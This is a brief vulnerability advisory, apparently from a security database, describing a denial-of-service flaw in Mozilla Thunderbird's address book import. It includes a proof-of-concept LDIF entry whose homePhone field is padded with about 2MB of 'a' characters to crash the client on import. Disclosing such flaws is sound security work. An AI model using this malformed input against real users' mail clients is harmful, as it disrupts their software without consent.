|
Mozilla Thunderbird Address Book Import Remote Denial of Service Vulnerability
The following proof of concept is available: POC: create a file.ldif and insert following then import it in address book: n: cn=Test POC by DrFrancky@securax.org,mail=drfrancky@securax.org objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson objectclass: mozillaAbPersonAlpha givenName: Test sn: POC by DrFrancky@securax.org cn: POC by DrFrancky@securax.org mozillaNickname: DrFrancky mail: drfrancky@securax.org nsAIMid: DrFrancky POC modifytimestamp: 0Z homePhone: aaaaaaaaaaaaaaa[2MB of 'a'] |
|
Privacy Statement |